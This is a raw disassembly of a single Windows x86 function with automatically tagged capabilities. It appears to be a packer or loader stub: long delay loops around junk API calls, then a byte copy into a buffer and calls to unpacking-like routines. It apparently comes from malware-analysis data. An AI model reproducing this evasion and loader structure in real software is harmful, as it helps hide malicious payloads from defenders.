Function at 0x4a5380
Capabilities:
Create directory
Get common file path
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x904
mov eax, dword [0x4b1004]
xor eax, esp
mov dword [esp + 0x900], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
jmp 0x4a53b0
call edi
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
cmp esi, 0x176afc
jg 0x4a53d5
inc esi
cmp esi, 0x365ea5f8
jl 0x4a53b0
jmp 0x4a53e8
cmp dword [0x2c596cc], 0xa
jne 0x4a53e8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4a5404
mov eax, dword [0x4b2be4]
mov dword [0x2c596d0], eax
cmp dword [0x2c596cc], 0x3c
jne 0x4a5410
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x4a53f2
cmp dword [0x2c596cc], 0x7c
jne 0x4a5494
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0x40]
push eax
push ebx
call dword [sym.imp.ole32.dll_CreateDataCache]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push str.hagebanirulavunure
call dword [sym.imp.KERNEL32.dll_AddAtomA]
lea ecx, [esp + 0x108]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x2c596cc], 0x2d
jne 0x4a5482
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0x4af3c7
push 0x4b3cb8
call fcn.004011f8
add esp, 8
cmp dword [0x2c596cc], 0x110a
jne 0x4a54e6
push ebx
push ebx
lea edx, [esp + 0x60]
push edx
mov dword [0x2c59338], ebx
mov dword [0x2c5933c], ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push ebx
push ebx
call fcn.004010e5
push ebx
call fcn.00401164
add esp, 0xc
push ebx
push ebx
call fcn.004010e5
push ebx
push ebx
call fcn.004010e5
add esp, 0x10
call fcn.004a4930
xor esi, esi
cmp dword [0x2c596cc], ebx
jbe 0x4a553e
mov edi, dword [sym.imp.KERNEL32.dll_ReplaceFileW]
jmp 0x4a5500
mov eax, dword [0x2c596d0]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
mov ecx, dword [esp + 0xc]
mov dl, byte [ecx + esi]
mov eax, dword [0x2c5724c]
mov byte [eax + esi], dl
cmp dword [0x2c596cc], 0x5ab
jne 0x4a5535
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2c596cc]
jb 0x4a5500
call fcn.004a5220
call fcn.004a4960
call fcn.004a52f0
mov edi, dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor esi, esi
cmp dword [0x2c596cc], 0x41
jne 0x4a5563
push ebx
push ebx
push ebx
call edi
cmp esi, 0xbd9cb
jne 0x4a5575
add dword [0x2c5724c], 0
inc esi
cmp esi, 0x15a63d
jl 0x4a5555
mov ebx, dword [esp + 0x18]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea ebx, [ebx]
push 0
push 0
call edi
cmp esi, 0x1abc7
jle 0x4a55a6
cmp ebx, 0xf5bed7
jne 0x4a55af
inc esi
cmp esi, 0x1ebc2d8e
jl 0x4a5590
mov ecx, dword [esp + 0x90c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004010d6
mov esp, ebp
pop ebp
ret